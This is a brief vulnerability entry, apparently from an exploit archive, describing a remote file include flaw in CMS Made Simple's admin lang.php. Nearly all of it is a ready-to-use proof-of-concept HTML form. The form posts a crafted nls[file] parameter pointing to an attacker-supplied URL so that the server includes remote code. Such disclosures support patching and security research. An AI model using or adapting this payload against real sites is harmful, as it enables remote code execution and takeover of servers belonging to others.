CMS Made Simple Lang.PHP Remote File Include Vulnerability

CMS Made Simple Lang.PHP Remote File Include Vulnerability

No exploit is required:

A demonstration exploit html file is provided:

example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF